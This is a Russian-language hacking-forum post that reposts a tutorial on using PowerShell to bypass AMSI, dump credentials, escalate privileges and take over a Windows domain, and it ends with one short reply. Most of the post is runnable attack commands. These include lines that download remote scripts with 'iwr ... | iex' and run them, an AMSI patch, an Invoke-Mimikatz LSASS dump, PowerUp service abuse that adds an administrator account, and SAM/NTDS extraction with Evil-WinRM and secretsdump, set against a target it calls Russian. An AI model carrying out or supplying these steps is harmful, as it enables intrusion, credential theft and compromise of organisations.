PowerShell для хакеров, часть 8: повышение привилегий и захват организации

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
153
Депозит
-8.95$
Добро пожаловать обратно, хакеры!

В течение довольно долгого времени мы рассматривали различные способы использования PowerShell хакерами. Мы изучили основы разведки, методы обеспечения стойкости, техники выживания, уловки уклонения и методы нанесения ущерба. Сегодня мы продолжаем изучать PowerShell и узнаем, как автоматизировать его для решения реальных хакерских задач, таких как повышение привилегий, обход AMSI и дамп учётных данных. Как видите, PowerShell может использоваться для эксплуатации систем, хотя он никогда не создавался для этой цели. Наша цель — упростить для вас автоматизацию эксплуатации во время пентестов. То, что обычно выполняется вручную, можно автоматизировать с помощью скриптов, которые мы рассмотрим. Давайте начнём с изучения AMSI.

Обход AMSI

Репо:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

AMSI — это интерфейс сканирования вредоносных программ. Это функция Windows, которая располагается между скриптовыми движками, такими как PowerShell или макросы Office, и любым антивирусом или продуктом EDR, установленным на компьютере. При выполнении скрипта или полезной нагрузки среда выполнения передает это содержимое AMSI, чтобы средство безопасности могло просканировать его до запуска чего-либо опасного. Это делает скрипты и активность памяти видимыми для инструментов безопасности, что повышает планку для простых атак на основе скриптов и вредоносных программ. Хакеры постоянно ищут способы предотвратить доступ к вредоносному контенту или изменить его так, чтобы он не соответствовал правилам обнаружения. Вы увидите множество статей и инструментов, утверждающих, что они обходят AMSI, но вскоре после их выпуска Microsoft устраняет уязвимости. Поскольку важно быть знакомым с этой атакой, давайте протестируем нашу систему и попробуем исправить AMSI.

Для начала нам нужно проверить, работает ли Defender на российской цели:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

проверка того, запущен ли защитник в Windows

И это так. Если бы он был выключен, нам не понадобился бы обход AMSI, и мы могли бы сразу приступить к исследованиям.

Патч AMSI

Далее приступаем к патчингу AMSI с помощью нашего скрипта, который вы можете найти по следующей ссылке:

https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1

Как вы уже знаете, есть несколько способов выполнения скриптов в PowerShell. Для демонстрации мы воспользуемся простым способом:

PS > .\shantanukhande-amsi.ps1

исправление amsi с помощью скрипта PowerShell

Если ваш вывод совпадает с нашим, то AMSI успешно пропатчен. С этого момента Defender не имеет доступа к вашим сеансам PowerShell, и в нём можно выполнять любые скрипты без ограничений. Важно отметить, что в некоторых статьях об обходе AMSI утверждается, что понижение версии PowerShell до PowerShell версии 2 помогает избежать обнаружения, но это неправда. По крайней мере, сейчас. Defender активно отслеживает все ваши сеансы, и эти простые трюки не сработают.

Сброс учетных данных с помощью Mimikatz

Репо:

http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Поскольку вы можете запускать всё, что угодно, мы можем запустить Mimikatz прямо в нашем сеансе. Обратите внимание, что мы используем Invoke-Mimikatz.ps1 от g4uss47, и это обновлённая версия Mimikatz для PowerShell, которая действительно работает. Из соображений безопасности (OPSEC) мы не рекомендуем запускать команды Mimikatz, затрагивающие другие хосты, поскольку сетевые продукты безопасности могут это обнаружить. Вместо этого давайте создадим дамп LSASS локально и посмотрим на результаты:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Дамп lsass с помощью скрипта powershell mimikatz Invoke-Mimikatz.ps1

Теперь у нас есть учётные данные brandmanager. Если бы мы взломали более ценную цель в домене, например, сервер или базу данных, мы могли бы ожидать учётные данные администратора домена. Вы будете видеть это довольно часто.

Повышение привилегий с помощью PowerUp

Повышение привилегий — сложная тема. Зачастую системы настроены неправильно, и пользователи чувствуют себя комфортно, не осознавая наличия угроз безопасности. Это может позволить вам полностью пропустить повышение привилегий и сразу перейти к горизонтальному перемещению, поскольку скомпрометированный пользователь уже имеет высокие привилегии. Существует множество векторов повышения привилегий, но среди наиболее распространённых — некавычки в пути к службам и небезопасные разрешения на файлы. Хотя небезопасные разрешения на файлы можно легко использовать, заменив легитимный файл вредоносным с тем же именем, некавычки в путях к службам могут потребовать больше усилий от новичка. Поэтому сегодня мы рассмотрим эту атаку с помощью PowerUp. Прежде чем продолжить, важно отметить, что этот скрипт давно известен продуктам безопасности, поэтому будьте осторожны.

Поиск уязвимых сервисов

Путь службы без кавычек — это ошибка конфигурации служб Windows, при которой полный путь к исполняемому файлу службы содержит пробелы, но не заключён в кавычки. Поскольку Windows обрабатывает пробелы как разделители при определении путей к файлам, путь без кавычек, например, C:\Program Files\My Service\service.exeможет быть интерпретирован неоднозначно. Система может искать исполняемый файл на более ранних, более коротких участках этого пути (например C:\Program.exe, или C:\Program Files\My.exe), прежде чем достичь нужного service.exe. Хакер может разместить свой исполняемый файл в одном из этих более ранних мест, и система запустит эту программу вместо настоящего исполняемого файла службы. Это работает как метод повышения привилегий, поскольку службы обычно работают с более высокими привилегиями.

Запустим PowerUp и найдем уязвимые службы:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex

PS > Get-UnquotedService

список уязвимых нецитируемых сервисов для повышения привилегий

Теперь давайте проверим имена служб и посмотрим, какая из них даст нам права локального администратора:

PS > Invoke-ServiceAbuse -Name 'Service Name'

В случае успеха вы увидите имя затронутой службы и выполненную ею команду. По умолчанию скрипт создаст и добавит пользователя john в локальную группу администраторов. Вы можете изменить её по своему усмотрению.

Результаты можно проверить:

PS > net user john

злоупотребление нецитируемой службой с помощью PowerUp.ps1

Теперь у нас есть пользователь с правами администратора на этой машине, которого можно использовать для различных целей.

Атака на NTDS и SAM

Репо:

https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM Dumper

При наличии достаточных привилегий мы можем выгрузить NTDS и SAM, не прибегая к использованию антивирусных продуктов, просто используя встроенные функции Windows. Обычно для таких атак требуется несколько команд, поскольку выгрузка только NTDS или только куста SAM не помогает. Поэтому мы добавили новый скрипт в наш репозиторий. Он автоматически определит тип хоста, на котором он запущен, и выгрузит необходимые файлы. NTDS существует только на контроллерах домена и содержит учётные данные всех пользователей Active Directory. Этот файл недоступен на обычных компьютерах. Вместо этого обычные компьютеры будут эксплуатироваться путём выгрузки их кустов SAM и SYSTEM. Скрипт не помечен ни одним антивирусом. Ниже показано, как он работает.

Атака SAM на доменных машинах

Чтобы избежать проблем, обойдите политику выполнения:

PS > powershell -ep bypass

Затем сделайте дамп кустов SAM и SYSTEM:

PS > .\ntds.ps1

дамп sam и системных ульев с помощью ntds.ps1
листинг дампов sam и system hive

Подождите несколько секунд и найдите свои файлы в C:\Temp. Если каталог не существует, скрипт его создаст.

Далее нам необходимо отфильтровать эти файлы и извлечь учетные данные:

bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL

извлечение кредитов из улья Сэма

Атака NTDS на контроллерах домена

Если вы уже скомпрометировали администратора домена или сумели повысить свои привилегии на контроллере домена, вам может потребоваться получить учетные данные всех пользователей в компании.

Мы часто используем Evil-WinRM, чтобы избежать ненужного взаимодействия с графическим интерфейсом, которое легко заметить. Evil-WinRM позволяет загружать все скрипты с машины, чтобы они выполнялись без обращения к диску. Он также может устанавливать исправления AMSI, но будьте очень осторожны.

Подключение к DC:

c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Теперь вы можете выполнять свои скрипты:

PS > ntds.ps1

дамп NTDS с помощью скрипта ntds.ps1

У Evil-WinRM есть команда для скачивания, которая поможет вам извлечь файлы. После этого выполните следующую команду:

bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

извлечение кредитов из дампа ntds

Краткое содержание

В этой главе мы рассмотрели, как PowerShell можно использовать для повышения привилегий и полного компрометирования домена. Мы начали с обхода AMSI, чтобы обеспечить беспрепятственный запуск вредоносных скриптов, а затем перешли к дампу учётных данных с помощью Mimikatz. Затем мы рассмотрели методы повышения привилегий, такие как использование некавычек в служебных путях с помощью PowerUp, а затем дамп баз данных NTDS и SAM после получения более высоких привилегий. Каждый шаг основан на предыдущем, показывая, как хакеры объединяют небольшие ошибки конфигурации в цепочку, приводящую к полному захвату организации. Защитникам также следует быть знакомыми с этими атаками, поскольку это поможет им настроить средства безопасности. Например, безобидные действия, такие как создание теневой копии для дампа NTDS и SAM, можно обнаружить, отслеживая события с идентификаторами 8193 и 12298. Можно отслеживать множество действий, даже безобидных. Всё зависит от того, куда смотрят защитники.
 
круто сколько про павер шел статей
 
Назад
Сверху Снизу